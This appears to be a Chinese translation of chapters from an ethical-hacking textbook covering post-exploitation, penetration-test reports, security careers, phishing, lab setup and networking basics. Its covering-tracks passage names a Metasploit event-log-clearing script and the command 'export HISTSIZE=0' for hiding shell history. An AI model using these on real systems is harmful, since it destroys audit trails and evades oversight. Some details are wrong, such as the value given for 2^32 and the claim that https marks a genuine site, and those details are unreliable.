一旦攻击者以非常原始的访问权限进入系统,他们的直接目标就是提高访问权限,深入到网络或系统中。这将确保攻击者能够长期访问受害者/目标机器,并且他们可以随时控制它。维持长期访问的另一个重要方面是转移攻击(pivoting),即攻击同一局域网内的其他机器。这有助于攻击者在网络中保持强大的立足点,并使得入侵检测系统(IDS)很难清除攻击者的痕迹。
后期利用
一旦获得了基本的系统访问权限,提升访问级别通常是个好主意。例如,你可以通过利用系统漏洞获得基本的用户级别访问权限;然而,大多数情况下,这种访问权限会非常有限,无法帮助你深入渗透系统。例如,在 Windows 系统中,你无法使用用户级别权限禁用杀毒软件或入侵检测系统(IDS);你需要是管理员才能做到这一点。在后续章节中,我们将学习如何将访问级别从普通用户提升到系统管理员,这将使你几乎完全控制系统。
掩盖痕迹
掩盖痕迹是成功渗透测试攻击的一个关键环节。在网络安全领域,事故响应团队是那些旨在限制攻击范围并提供服务恢复操作的人员。一旦黑客实现了他们的目标,他们应该完全掩盖自己的痕迹;否则,他们很容易被取证人员发现。常见的掩盖痕迹方法包括删除攻击阶段生成的日志和临时文件,清理注册表项、缓存,有时还会清除浏览器历史记录。渗透测试人员还应了解与不同操作系统相关的日志机制。例如,Windows 操作系统会使用跳转列表记录最近访问和修改的文件。数字取证专家使用这些技术来确定攻击者以及攻击在系统上的范围。
互联网上有很多开源工具可以用来掩盖痕迹,这些工具能够很好地隐藏你的身份。例如,在Metasploit中,你可以使用clearv等脚本来清除 Windows 机器上的所有事件日志。
另一种掩盖痕迹的方法是使用反向 HTTP Shell。Shell 是一种在系统上执行用户命令的代码。我们将在后续章节中详细讨论这一点。在大多数计算机中,端口80用于 HTTP 数据包,因此,端口80在计算机中通常是打开的。防火墙很难区分端口80上的合法数据包和恶意数据包。使用基于 HTTP 的反向 Shell,取证分析师很难区分黑客行为。
一旦黑客获得系统的访问权限,他们将通过命令行界面运行各种命令。达到目标后,黑客通常会删除命令历史记录,以避免被检测到。这通常通过在基于 Linux 的系统中使用export HISTSIZE=0命令来实现。
报告
渗透测试或道德黑客的最后阶段是编写关于系统所有弱点以及渗透测试目标实现情况的报告。渗透测试报告应列出有关攻击的所有必要细节。渗透测试报告通常包含以下内容。
摘要
摘要应简要总结渗透测试的内容,并解释进行渗透测试的主要原因。编写渗透测试摘要报告时应考虑以下几点:
-
渗透测试的目的和目标
-
渗透测试的范围
-
执行的测试简要列表
-
渗透测试的发现
-
渗透测试的结论
这些任务的解释如下:
引言
在引言部分,应解释所有与测试环境相关的信息。应提到渗透测试的时间线,从开始到结束。渗透测试持续了多长时间?应提及进行渗透测试时所采用的方法和途径。哪些系统成为渗透测试的目标?最后,进行了什么类型的测试?
方法论
在本节中,我们应列出用于攻击目标的所有程序和方法。例如,我们如何获得关于目标的信息,并且我们获得了哪些信息?这些信息如何被用来执行攻击?使用了哪些方法来交付有效载荷?例如,攻击者是否向目标发送了一个恶意的 PDF 文件?还应提及攻击的难易程度,即哪些方面很容易攻击,哪些部分则很难。
发现
发现部分应提及在渗透测试中发现的漏洞和威胁。将发现的漏洞按其严重性分级是一种好方法。此类测试的一个例子是对设备进行漏洞扫描,检测系统上是否运行了任何易受攻击的服务。最后,发现部分还应提及系统的优点,例如强大的防火墙配置和强密码。对于严重的漏洞和威胁,应提供详细信息。将必要的截图和发现附加到文档中是一个好主意。
网络安全职业
网络安全是一个庞大的领域,涵盖的每个方面都可能需要一本书来介绍。不过,我将尽力解释网络安全的主要趋势以及你需要掌握的技能。以下部分列出了一些较为常见的职业,尽管这并不是一个详尽无遗的清单。
系统安全管理
就像系统管理员的工作是维护和管理组织的系统一样,系统安全管理员的目标是专注于系统安全的管理。他们的工作是执行日常的安全任务,如系统监控和备份管理。
安全架构师
网络是现代计算机系统中最重要的组成部分之一,而且往往是攻击者进入组织的入口,因此管理、维护和保护网络对组织至关重要。安全架构师的工作包括问题报告、入侵分析等。
渗透测试员
如前所述,渗透测试员的目标是测试组织防御的强度。简单来说,渗透测试员的目标就是入侵系统并获得未经授权的访问权限。渗透测试员的工作还包括检测系统漏洞。有时,渗透测试员也会参与事件响应团队,以防御真实的威胁。渗透测试员经常被要求设计自己的工具,重点针对组织的需求。本书的大部分内容将按照成为渗透测试员的基本步骤进行讲解。渗透测试员是网络安全领域薪酬最高的职业之一,且需要极高的技能。
取证分析员
正如名称所示,计算机取证分析员的工作是评估数字资产并在系统入侵的情况下审查证据。他们的任务包括在入侵后保护数字和物理证据,以便用于分析,并可能在法庭上用来对抗黑客。计算机取证分析员必须对雇主或客户的安全问题高度敏感,并在处理财务和个人信息时严格遵守隐私程序。
首席信息安全官
首席信息安全官(CISO)通常是一个高管职位。CISO 的工作是监督组织系统、网络和数据安全需求的规划、协调和指导。其职责是确保安全合规,评估威胁形势,并制定政策和控制措施,以确保组织的安全。
攻击类型
根据攻击的执行方式,网络攻击有多种不同类型。这些攻击的性质可能会根据各种因素而有所不同,例如攻击者的意图和所使用的攻击工具。通常,这些攻击的目的是完全控制系统、窃取敏感信息,或两者兼而有之。
系统控制
攻击者通常希望控制受害者的计算机并对其进行操作。这可能意味着使系统对受害者来说变得无用,或者悄悄尝试在不让受害者察觉的情况下获取访问权限。在这一类别中,一个非常著名的攻击叫做远程访问工具攻击。这些攻击使攻击者能够远程控制受害者的计算机,获得完全或接近完全的控制权限。我们已经讨论过正向和反向Shell,它们在此类攻击中经常被使用。
社会工程学
另一种常见的攻击方式通常不需要太多技术知识,那就是社会工程学。简单来说,社会工程学是指通过操控或欺骗某人以获取信息。你不必编写冗长的代码,也不需要利用系统的技术弱点,而是通过欺骗他人让其提供信息,从而进行网络攻击。网络安全有两个基本方面:一个是技术方面,另一个是人类方面。安全系统的强度取决于它最薄弱的环节。通常,系统安全中最薄弱的环节就是人。没有安全系统是完全安全的,如果你知道破解它的方法。社会工程学并不像看起来那么简单。它需要耐心和细致的观察。接下来将解释一些常见的社会工程学技巧。
诱饵攻击
诱饵攻击意味着诱使目标上当,以诱饵为诱饵,然后等待目标犯错。例如,黑客经常将装有恶意软件的 USB 驱动器丢弃在组织办公室附近,等待某个员工出于好奇将 USB 插入计算机。一旦他们这样做了,剩下的工作就交给恶意软件来完成。
网络钓鱼
钓鱼攻击是一种攻击技术,攻击者冒充目标信任的人。通常,他们试图利用人们的兴趣。例如,如果某人是足球迷,他们更可能打开与足球相关的电子邮件或链接,从而为攻击者提供了攻击受害者的手段。这个攻击的常见例子是攻击者托管的克隆网站。攻击者会向目标发送一个假链接,这个链接与目标熟悉的网站相似。然而,该网站将由攻击者托管,目标将被引导到这个网站,而不是去真实的网站。这些克隆网站与原始网站非常相似,如果不小心,很难分辨出来。由于这个克隆网站是由黑客操作的,用户输入的任何数据都会被黑客获取。检测这些假网站的一个好方法是检查网站名称及其协议。真实的网站通常会使用https协议。
总结
在本章中,我们学习了黑客攻击的基础知识以及现实生活中不同类型的黑客。然后,我们详细研究了黑客攻击的步骤以及每个步骤的具体内容。最后,我们了解了网络安全领域的不同职业,并探讨了本书如何帮助我们在这些职业中取得成功。最后,我们还探讨了社交工程的不同方面及其如何用于实施攻击。在下一章中,我们将开始学习如何搭建我们的实验环境以及本书中将使用的工具。
第二章:入门 - 设置实验室环境
在我们开始了解如何进行道德黑客攻击之前,我们需要配置几个事项。在本节中,我们将了解完成本书所需的工具。我们将使用的大多数工具都是免费的。
我们将从选择本书中使用的 Python 版本开始。然后,我们将转向本书中使用的集成开发环境(IDEs)。我们还将学习如何设置虚拟环境,并理解它们如何有助于我们的工作。稍后,我们将深入选择操作系统(OSes),包括攻击者和目标/受害者的操作系统。我们将探索不同的操作系统,最终确定我们将在本书中使用的操作系统。最后,我们将测试一个示例 Python 脚本,检查一切是否配置正确,并确认是否可以继续。
在本章中,我们将讨论以下主题:
-
设置 VirtualBox
-
安装 Python
-
探索集成开发环境(IDEs)
-
设置网络连接
-
更新 Kali Linux
-
使用虚拟环境
技术要求
为了完成本章内容,你需要一台具有足够硬盘空间和内存的正常工作 PC,以便运行两个虚拟操作系统。大致估算,100 GB 的存储空间和 8 GB 的 RAM 应该足够。
项目的源代码位于以下链接:github.com/PacktPublishing/Python-Ethical-Hacking。
设置 VirtualBox
如前所述,我们将在本章中为渗透测试(pen testing)配置我们的设置。我们首先需要的就是虚拟化软件。虚拟化软件帮助我们在现有操作系统上运行完整的操作系统。虚拟化的主要优势是,你可以在不购买额外硬件(如 PC)的情况下运行完整的操作系统,同时享受这些硬件所提供的所有功能。随着我们深入学习,你会更详细地了解这些优势。以下是一些流行的虚拟化软件列表:
-
VMware Workstation Player -
VirtualBox
虽然也有其他选项,但我推荐使用其中之一。我将在本书中使用 VirtualBox,因为它是免费的。VMware Player 也免费,但没有适当的许可证无法用于商业用途。
要下载 VirtualBox,请访问以下链接:www.virtualbox.org/wiki/Downloads。
在这里你可以找到下载链接。按照以下步骤操作:
-
选择适用于 Windows 的 VirtualBox 安装包并下载。
-
下载完成后,打开安装程序并按照指示在系统上安装它。
安装过程应该相当简单。在安装过程中,它可能会请求你授权安装某些驱动程序。请允许安装程序安装这些驱动程序。
安装完成后,界面应该类似于以下内容:

图 2.1 – VirtualBox 界面
设置虚拟化软件为我们搭建了一个基础,接下来我们将以此为基础,构建运行实验室所需的组件。接下来,我们将查看操作系统,选择并配置所需的内容。
安装虚拟操作系统
我们将需要一个操作系统作为攻击机,另一个作为目标机。在实际案例中,大多数时候,攻击机通常是基于 Linux 的系统,而目标/受害机通常是基于 Windows 的系统。本书中我们将交替使用“目标”和“受害”这两个术语。
攻击机操作系统
渗透测试机器有很多选择。然而,有几种基于 Linux 的发行版特别突出:
-
Kali Linux
-
Parrot OS
还有其他选项。然而,我推荐使用 Kali Linux,因为它稳定且广泛应用于渗透测试。Kali 配有许多预配置的工具,可以节省大量时间。
Kali Linux
要下载 Kali Linux 的虚拟镜像,请访问 Kali 的下载页面:www.kali.org/downloads/。
让我们开始安装过程:
-
在下载部分,选择Kali Linux 64 位 VirtualBox。这是一个已经安装好 Kali 操作系统的完整镜像,因此你无需安装任何东西:
![图 2.2 – Kali Linux VirtualBox 镜像]()
图 2.2 – Kali Linux VirtualBox 镜像
-
下载时间将根据你的网络速度而有所不同。下载完成后,只需将下载的镜像导入到 VirtualBox 中。要导入 Kali 虚拟机,点击工具标签中的导入按钮,如下图所示:
![图 2.3 – 导入 Kali 虚拟机]()
图 2.3 – 导入 Kali 虚拟机
-
这将打开一个对话框,你可以选择你刚刚下载的Kali 虚拟机 ova文件。
启动时,你会被要求输入密码以登录 Kali Linux 系统。镜像的默认凭证如下:

重要提示
你可能需要在设置中禁用 USB 2 支持,以便正确启动机器。
系统启动后,界面应该如下所示:

图 2.4 – Kali Linux 主屏幕
现在我们已经设置好了攻击机,让我们继续设置目标机。
受害机操作系统
对于目标机器,我们将使用 Windows 10 作为操作系统。这里有两个选择;你可以使用 ISO 文件从头开始安装 Windows 10 操作系统,或者你可以下载适用于 VirtualBox 的预构建镜像。第二个选项更简单,我推荐使用它。然而,这个选项的缺点是文件较大,约为 20 GB,且只能使用 90 天,之后会过期。对于大多数目的来说,这段时间应该足够。不过,如果你的需求超出 90 天,你可以手动在 VirtualBox 上安装 Windows 10。网上有许多教程可以帮助你完成这个过程。
本章我们将选择预构建的选项。使用以下链接下载预构建镜像:developer.microsoft.com/en-us/windows/downloads/virtual-machines/。
让我们看看如何在 VirtualBox 中使用它:
-
一旦你下载了 Windows 10 的 VirtualBox 镜像,进入 VirtualBox 并点击添加。
-
一个对话框将会打开;选择你刚才下载的 Windows 10 镜像。
如果你按步骤操作,Windows 10 应该已经成功启动。虚拟 Windows 的 VirtualBox 界面应该是这样的:

图 2.5 – Windows 虚拟机
我们系统的拓扑结构将是这样的:

图 2.6 – 主机 Windows 10 操作系统
一旦虚拟操作系统安装完成,VirtualBox 软件界面应该是这样的:

图 2.7 – VirtualBox
到目前为止,我们已经在主机上安装了虚拟操作系统。接下来,我们将专注于配置这些机器,以便在本书的其余部分中使用它们。在下一节中,我们将下载并在这些虚拟机上安装 Python 3。
安装 Python
本章接下来我们需要设置的是 Python。本书中我们将使用 Python 3 版本,即python3。Python 3 是 Python 的一个重大版本,且与旧版 2 不兼容。要下载 Python,请访问 www.python.org/ 并下载最新版。截至本书撰写时,推荐使用 Python 3.8 版本;不过,任何高于 3.2 的 Python 版本都适用于本书。推荐使用 64 位版本的 Python。我假设你使用的是 Windows 作为主要操作系统;不过,本书中的代码也应该可以在 Linux 和 macOS 上运行,因为我们会使用虚拟机。
在 Windows 上安装 Python
在 Windows 上安装 Python 的过程相当简单。打开您在 安装虚拟操作系统 部分刚刚安装的 Windows 10 虚拟机。请注意,从现在开始,大部分工作将在这些虚拟机上完成,而不是托管这些虚拟机的宿主操作系统。在安装过程中,只需勾选 Add Python 3.8 to PATH 选项(版本号将取决于您下载的版本),这样您就可以从命令提示符的任何位置访问 Python:

图 2.8 – Python 安装
一旦选择了 图 2.8 中高亮的选项,点击 Install Now。安装完成后,关闭安装窗口并打开终端/命令提示符。在命令提示符中,只需输入 python 命令。您应该会在终端中看到以下输出。此时 Python shell 应该已经打开:

图 2.9 – Python shell
现在我们已经在 Windows 上设置好了 Python,接下来让我们继续进行 Kali 的安装,并在那里设置它。
在 Kali Linux 上安装 Python
大多数渗透测试操作系统都已经预装了 Python。要检查您的发行版是否已安装 Python,请打开 Kali 并搜索 Terminal。打开终端并在其中输入以下命令:
python --version
您应该会看到以下输出:

图 2.10 – Python 版本
上面的结果显示,已经安装了 Python 2;但是,我们需要的是 Python 3。让我们用以下命令再检查一次:
python3 --version
您应该会看到以下输出:

图 2.11 – Python 3 版本号
上面的截图显示,Python 3 也已安装在 Kali 上,因此我们不需要再次安装它。
集成开发环境
IDE 是一种帮助我们高效编写代码的软件工具。您也可以在记事本中编写 Python 脚本;然而,IDE 提供的功能帮助我们更轻松地编写代码。有很多可用的选项,我们将重点介绍免费的 IDE。我们推荐的最佳选项是 Visual Studio Code(VS Code),它完全免费。请继续为两个虚拟操作系统(Windows 10 和 Kali)下载 VS Code:code.visualstudio.com/download。
在 Windows 上的安装非常简单:您只需要按照安装程序进行操作。在 Linux 上的安装则需要您下载一个 Debian 包文件。打开终端并导航到下载文件的位置。然后,运行以下命令:
sudo dpkg -i /path/to/file
它的样子如下:

图 2.12 – VS Code 在 Kali 中的安装
请注意,它会提示您输入密码以进行安装。
安装完成后,你需要安装扩展。在 VS Code 中打开,点击左侧的 扩展 标签,搜索 Python。它应该看起来像这样:

图 2.13 – Python 扩展
点击 安装 按钮,安装应该会在几秒钟内完成。现在,你几乎完成了开始道德黑客之旅的所有准备工作。到目前为止,我们已经设置了虚拟操作系统,安装了 Python 和相关的 VS Code 扩展,这些将帮助我们在旅程中。接下来,我们将进行一些网络配置,帮助我们继续前进。
设置网络
默认情况下,所有虚拟机都会为网络创建一个单独的虚拟接口。这意味着虚拟操作系统的设备与主机操作系统处于不同的子网。为了确保所有操作系统在同一子网中,请执行以下操作:
-
转到每个虚拟机的设置。
-
在网络设置中,选择桥接适配器作为附加到选项。
确保你对 Windows 和 Kali 安装都执行了以下操作:

图 2.14 – 设置网络适配器
现在,所有设备将处于同一子网中。你应该能够从 Windows 10 安装中 ping 到 Kali 安装。
更新 Kali
在继续之前,最好更新 Kali,确保所有内容都是最新的。可以使用以下命令更新 Kali:
sudo apt-get update
sudo apt-get upgrade
更新过程会花费一些时间,因为它将更新所有的仓库。
使用虚拟环境
Python 有一个非常整洁的功能,叫做虚拟环境。通过使用这些虚拟环境,你可以跟踪不同 Python 项目的依赖关系,并将不同的项目与主环境分开。
在 Kali 中创建一个新文件夹,所有的项目文件将保存在这个文件夹中:
-
打开你的 Kali 主目录,创建一个名为
python-hacking的新文件夹。我们所有的未来工作将在这里进行。 -
在 VS Code 中打开此文件夹:
![图 2.15 – VS Code 中的文件夹结构]()
图 2.15 – VS Code 中的文件夹结构
-
在
python-hacking文件夹中,创建一个名为m1-hello-world的新文件夹。在这里我们将测试我们的虚拟环境。在m1-hello-world文件夹中,创建一个名为main.py的新文件。 -
使用以下命令在终端中检查 Python 包管理器
pip是否在 Kali 中正确安装:pip3 –version
你应该看到以下输出:
![图 2.16 – pip 未安装]()
图 2.16 – pip 未安装
-
如果你看到与前面类似的输出,意味着
pip没有在系统上安装。要安装pip,请运行以下命令。确保系统已更新:sudo apt install python3-pip一旦
pip正确安装,输出应该像这样:![图 2.17 – pip 安装]()
](image/B14788_02_17.jpg)
图 2.17 – pip 安装
如果 Windows 中没有安装
pip3,请安装它。 -
现在打开
main.py文件并编写一些 Python 代码。我们将使用以下代码。在 VS Code 中打开终端,按 Ctrl + `。 -
现在我们将安装 Python 虚拟环境模块。运行以下命令来安装它:
apt-get install python3-venv -
一旦 Python 虚拟环境模块安装完成,我们可以通过在终端中运行以下命令来创建
virtual-env文件夹:python3 -m venv my-virtualenv -
如果命令成功运行,您会看到一个新文件夹
my-virtualenv被创建。这个文件夹包含一个与系统环境隔离的 Python 环境。要启用此环境,运行以下命令:source my-virtualenv/bin/activate它将像 图 2.18 中的输出一样:

](image/B14788_02_18.jpg)
图 2.18 – 激活环境
一旦环境被激活,您将看到每个终端行的开头显示环境名称 my-virtualenv。现在,您在这个 shell 中使用 pip 安装的每个包都将只安装在该环境中,并与主环境隔离。
在 python 文件中编写以下代码,以测试一切是否正常工作:
if name == "main":
print("Hello world")
您应该看到以下内容:

](image/B14788_02_19.jpg)
图 2.19 – 示例 Python 脚本
要运行它,请使用以下命令:
python3 main.py
您应该看到以下内容:

](image/B14788_02_20.jpg)
图 2.20 – 运行 Python 脚本
如果您看到 hello world 输出,说明一切已正确安装。
总结
让我们总结一下本章的内容。我们从下载并在主机上安装虚拟操作系统开始。然后我们在系统中配置了 Python,后续章节中我们将一直使用它。接着我们配置了虚拟机的网络,最后我们学习了如何在 Python 中使用虚拟环境。这些将在后续章节中非常有用,尤其是当我们需要从代码创建可分发的二进制文件时。在下一章中,我们将介绍网络和如何用于道德黑客的基本概念。
第二部分:像黑客一样思考——网络信息收集与攻击
本部分的目标是开发可用于渗透测试的实用工具。首先将介绍应用信息收集技巧,开发程序,帮助黑客攻击受害者机器并远程控制其机器。在本部分中,您将学习如何成功攻击一台机器,并在不被受害者察觉的情况下访问受害者机器的大部分内容。
本书的这一部分包含以下章节:
-
第三章,侦察与信息收集
-
第四章,网络扫描
-
第五章,中间人攻击
第三章:侦察与信息收集
在本章中,我们将学习网络的基础知识。如果没有对计算机网络的深入理解,你将无法在渗透测试和伦理黑客领域走得更远。我们将覆盖一些关于网络如何工作的基本细节。我们还将看看网络中的不同抽象层及每一层的作用。
每一个伦理黑客过程都从收集目标的相关信息开始,本章将专门讲解我们能获取哪些信息以及这些信息对我们有什么帮助。我们将讨论用于描述网络层的标准 OSI 模型以及这个模型如何对我们有帮助。在本章中,我们将覆盖以下主题:
-
什么是计算机网络?
-
网络分类
-
网络堆栈
-
网络实体
-
保护
-
更改 MAC 地址
什么是计算机网络?
在信息技术(IT)领域,网络意味着两台或更多设备能够相互通信和交换数据的能力。在计算机早期,计算机之间无法相互通信,它们是独立的系统,功能非常有限。随着技术的进步,设备之间的通信需求也随之增长。在最简单的形式下,两台计算机通过介质连接在一起,形成一个网络。这个介质就是这些设备之间通信的连接。随着我们深入,你会看到计算机网络变得非常复杂:

图 3.1 – 网络的最简单形式 – 两台互联的计算机
正如你在接下来的章节中看到的那样,大多数现代计算机网络并不是这样构建的。为了让你的计算机能够与其他计算机通信,它需要与每一台计算机建立连接,而这很快就会变得难以管理。我们将在计算机网络组件章节中学习更多关于如何通过使用一个叫做路由器的中间节点来避免这个问题。那么,当你想要一个有 10 台设备的网络时,会发生什么呢?为此,我们可以让每台设备通过电缆与其他每一台设备连接,让它们相互通信。以下图示展示了四台计算机之间的相互通信。正如你能想象的那样,这样的系统会变得指数级难以管理。这有几个缺点。例如,它增加了系统的复杂性,并且浪费了大量资源,因为你需要维持两台计算机之间的电缆,即使它们仅仅进行短暂的通信:

图 3.2 – 四个节点的网络
为了消除这种冗余,我们可以引入一个中央设备,负责允许不同的设备相互通信。中央设备有不同类型,我们将在基本计算机网络的组成部分部分中进行探索:

图 3.3 – 带有中央设备的网络
上面的示意图类似于我们家中的网络。一个中央设备——在我们的案例中是路由器——帮助我们与其他设备进行通信。这是网络的非常原始的形式;现实中的网络要比这复杂得多。回到网络的构成,网络仅仅是指两个设备通过媒介互相通信并共享数据。现在我们已经了解了什么是网络,并开始讨论构建网络的组成部分,让我们详细看看这些组件。
基本计算机网络的组成部分
在本节中,我们将学习计算机网络的不同组件。在计算机网络文献中,您经常会看到用节点来表示网络中的计算机。在网络领域,通常使用特定的术语来标识网络中的特定设备。接下来我们将学习这些术语。
节点
节点通常是连接到中央设备的设备。从某种意义上说,它是一个参与通信网络的计算机。这适用于简单的小型网络,但随着越来越多的设备加入网络,设备开始承担不同的角色,因此我们只能将设备在网络中的角色简化为节点,直到某个程度。在特定的情况下,节点可以是你的笔记本电脑、台式电脑、打印机、平板、手机或任何其他网络连接设备。
服务器
服务器是存储一些可以通过网络共享给需要的设备的信息的计算机。服务器通常是在线的,意味着它们通过持续可用来服务设备。
传输媒介
设备通过传输媒介连接并可以互相通信,这个媒介被称为传输媒介。它可以是有线的也可以是无线的。有线传输媒介的例子是以太网电缆,通常用于局域网。Wi-Fi是无线传输媒介的一个例子。
网络接口卡
要参与网络,连接的节点/设备必须拥有一个叫做网络接口卡(NIC)的东西。NIC 的作用是将你想要传输的内容转换成传输媒介所能接受的形式。
集线器
集线器是网络中的一个中心设备。如果你想与网络中的一个节点进行通信,你可能无法直接连接到该节点。相反,你应该通过某个中心设备建立连接——在这种情况下,就是集线器。你的信息/数据会发送到集线器,集线器再将其广播到整个网络。根据信息的内容,相应的设备会作出回应。
交换机
交换机是集线器的一种特殊类型。与集线器将信息广播到所有节点不同,交换机只将信息发送给目标接收者。这大大减少了网络上的流量,因为那些不相关的设备不应该接收该信息。
路由器
到目前为止,我们讨论的是单一网络。如果一台计算机想与不在你网络中的另一台计算机通信怎么办?如果这台计算机位于法国,而目标接收计算机位于美国的网络中怎么办?我们可以将计算机互联的概念扩展到网络互联。路由器是帮助我们与外部网络通信的设备。
网关
网关是网络中的终端路由器。所有进出网络的流量都经过它。它充当互联网和本地设备之间的中介。对于我们网络外的设备来说,网关是本地网络中任何设备的主要通信点。
防火墙
防火墙是某些网络中的可选设备。防火墙可以是基于软件的,例如操作系统的防火墙,或者是针对整个网络的硬件设备。防火墙的作用是增强系统的安全性并监控网络流量。这确保了没有未经授权的访问进入网络。防火墙通常会阻止所有进入本地网络的连接请求,除非这些请求已在防火墙的规则引擎中授权并列明:

图 3.4 – 网络中的组件
顾名思义,它作为本地网络的入口和出口。出于实际考虑以及小型网络的需求,网络中的小型组件(如路由器、交换机、网关,有时甚至是防火墙)常常被合并为一个物理设备。
在本节中,我们了解了网络中不同组件的作用及其功能。接下来,我们将讨论这些不同网络是如何分类的。
网络分类
随着越来越多的计算机开始连接,分类它们变得至关重要,以便我们能够使用它们。有多种分类方法;然而,最常见的方法是基于地理位置的网络分类。我们接下来将讨论这一点。
局域网
当你将笔记本电脑或手机连接到家中的 Wi-Fi 路由器时,实际上你是在参与一个局域网(LAN)。你可以通过多种方式连接到局域网,例如使用 Wi-Fi(无线连接)或使用有线连接,如以太网电缆。局域网没有严格的定义,但通常由位于同一建筑物内的设备组成。局域网可以简单到只有两个设备连接到路由器,也可以复杂到大学和办公室的局域网。
以太网
以太网是局域网中最常用的技术之一。现代的以太网协议提供了非常高的局域网速度。与无线媒介相比,它在可靠性和安全性方面更为出色。以太网协议定义了数据在局域网上如何传输。现代以太网可以提供千兆位每秒的传输速度。
Wi-Fi
与使用物理电缆将设备连接到网络的以太网互补,Wi-Fi 允许设备通过无线媒介相互连接。这消除了对电线的需求。需要注意的是,尽管它是无线的,但局域网内设备之间的通信并非直接。数据仍然会通过一个中央路由器,称为接入点(AP),然后将数据转发给预定的接收者。
这两种媒介的比较如下:

表格 1.1 – Wi-Fi 与以太网的对比
这两种媒介各有优缺点。无线网络对普通用户来说更易于使用,并且在网络中提供了更多的活动自由,而基于电缆的以太网则更快,通常在对移动性需求较低的网络中使用。现在我们已经了解了局域网,接下来我们将开始了解其他基于地理位置的网络。
个人区域网络
与局域网相比,个人区域网络(PAN)通常非常小。个人区域网络的范围通常只有几十米。例如,两个基于蓝牙的设备彼此通信就是一个个人区域网络。在少数情况下,个人区域网络也与局域网相连。
城市区域网络
有时候,我们倾向于将几个小型局域网合并成一个单独的类别。它们通常被称为城市区域网络(MANs)。一个城市区域网络的例子是分布在城市不同地区的政府办公室连接到一个单一的网络。这些网络通常局限于一个城市。
广域网
顾名思义,广域网(WAN)是一个覆盖广泛地理区域的网络。广域网通常构成一个国家内部的网络。
互联网
到目前为止,我们只讨论了同一地理位置内的网络。互联网络,或者说互联网,是一个庞大的网络,连接了位于不同地理位置的多个网络。通过这个巨大的网络,你可以与全球任何地方的设备进行通信,前提是该设备也连接到了互联网。不同的广域网通过高速光纤网络相互连接:

图 3.5 – 按规模划分的网络
到目前为止,我们已经讨论了网络的物理组件和不同类型的网络。这为我们提供了计算机网络的概述。现在,我们已经了解了网络的基础知识,接下来可以深入探讨数据是如何在网络中从一个设备传输到另一个设备的。
网络栈
前一节为我们提供了网络的高层次介绍。现在,我们将学习实际的数据如何在网络上进行传输。
OSI 模型介绍
从你在应用程序中输入一条消息,到它传送到目标接收者的过程,你的消息经过了通信系统中的不同层级。为了帮助我们理解数据在到达目的地之前,经过的所有通信过程和媒介,提出了一个框架,用于描述网络系统的功能。这个框架被称为开放系统互联(OSI)模型。这个模型不仅仅应用于互联网,也适用于任何现代通信系统:

图 3.6 – 7 层 OSI 模型栈
OSI 模型包含 7 个层级,用来概念化数据如何通过任何电子通信媒介进行传输。让我们更详细地看看这些层级。
应用层
应用层是 OSI 模型中的最上层。这是用户与之交互的层。你使用的任何连接到互联网的设备可能都具有应用层接口。它充当着与用户的输入/输出端点。你发送的任何数据都会加入到应用层,接收到的任何来自其他设备的数据也会在这一层上显示。
表示层
这一层位于应用层下方,负责将数据转换为有用的格式。来自应用层的数据通常采用不同的格式,并且通常不适合通信系统的最易读形式。在这里,数据会被转换为合适的格式。另外,用户数据在应用层并未加密。在表示层,通常会对数据进行加密,以确保安全。
会话层
在表示层下方是会话层。一旦数据准备好发送,发送设备和接收设备必须建立连接,以便它们能够通过通道发送数据。会话层帮助完成这一任务——它在您的设备与接收设备之间建立连接。
传输层
一旦两个设备之间的会话建立,数据就准备好通过通道发送。传输层将要发送的实际数据分割成较小且可管理的块,称为段,可以通过链路发送。它还负责接收来自其他设备的数据段,并将其重新组合,以供您使用。
传输层还负责流量控制和错误控制。不同的传输介质具有不同的速度和错误率。传输层的任务是确保正确的数据传输。
网络层
当我们要与不在同一网络上的设备进行通信时,网络层的作用便会发挥出来。网络层将来自传输层的段分解成更小的数据包。网络层还确定数据包到达目的地的最佳路径。
数据链路层
这在某种程度上类似于网络层;然而,它促进了同一网络内设备之间的通信。数据链路层将数据包分解成帧。
物理层
这是堆栈的最低层,是用户输入的数据被转换成可以通过传输介质传输的物理信号的地方。在数字系统中,这意味着数据的 0 和 1 被转换成其在物理系统中的适当表示,例如电压水平。
完整周期
通信的完整周期如下:

图 3.7 – OSI 栈中的数据传输
用户输入的数据从应用层到物理层,再从物理层到达另一端的应用层。
TCP/IP 模型
前面展示的模型是一个非常通用的模型,概念化了任何媒介中的通信。然而,计算机网络的工作方式是 OSI 模型的一个特殊情况,通常被称为 TCP/IP 模型。您经常会在文献中看到这个模型,而不是更通用的 OSI 模型:

图 3.8 – TCP/IP 堆栈
与拥有七层的 OSI 模型相比,互联网协议栈有四层。我们来更详细地了解一下它们。
应用层
这是最上层。此层负责进程间通信。常见的应用层协议包括 HTTP、FTP、SSH、DNS 等。
传输层
TCP 和 UDP 是这一层常见的协议。这一层负责端到端的通信和错误控制。TCP 是面向连接的,而 UDP 是无连接的协议。
网络层
这一层与 OSI 堆栈中的网络层平行。它定义了负责从一个节点到另一个节点逻辑传输数据的协议。在这一层,最著名的协议之一就是 IP 协议,它使用 IP 地址在设备之间进行通信。
网络接入层
这一层将 OSI 堆栈中的数据链路层和物理层结合在一起。
OSI 和 TCP/IP 堆栈映射
OSI 和 TCP/IP 堆栈的层级映射如下:

图 3.9 – TCP/IP 和 OSI 堆栈的映射
上述图像展示了 OSI 堆栈如何映射到 TCP/IP 堆栈,以便在网络通信中使用。正如我们之前提到的,尽管 OSI 模型是一个更通用的模型,但 OSI 模型中的某些层的功能可以合并到 TCP/IP 堆栈的一个层中。现在,我们已经了解了数据在网络中如何按概念级别流动,接下来我们将深入探讨字节级别的实际通信内容。
网络实体
在继续之前,我们将介绍一些本书中将会用到的网络相关概念。了解这些概念是至关重要的,只有这样,你才能全面理解本书的内容。
私有 IP 地址
互联网协议(IP)地址是一个唯一标识符,用于标识网络中的设备。IP 地址是一个 32 位的数字。每当你连接到一个新网络时,你要么通过动态主机配置协议(DHCP)服务器分配一个新的 IP 地址,要么如果系统配置中有可用的 IP 地址,则使用该地址。这通常被称为本地/私有 IP 地址。你通常会看到这种地址的形式是192.168.1.x。
关于 IP 地址的重要说明
IP 地址是 32 位的,这意味着只有 2³² = 4,294,967,295 个互联网地址可用。IP 地址是一个古老的协议,当它被开发时,互联网连接的设备数量并不多。当时,40 亿个设备被认为是足够的。然而,正如我们最近看到的,现在世界上有远超过 40 亿个设备,那么这些设备是如何获得其地址的呢?这就是通过网络地址转换(NAT)协议完成的,我们稍后将对此进行讲解。
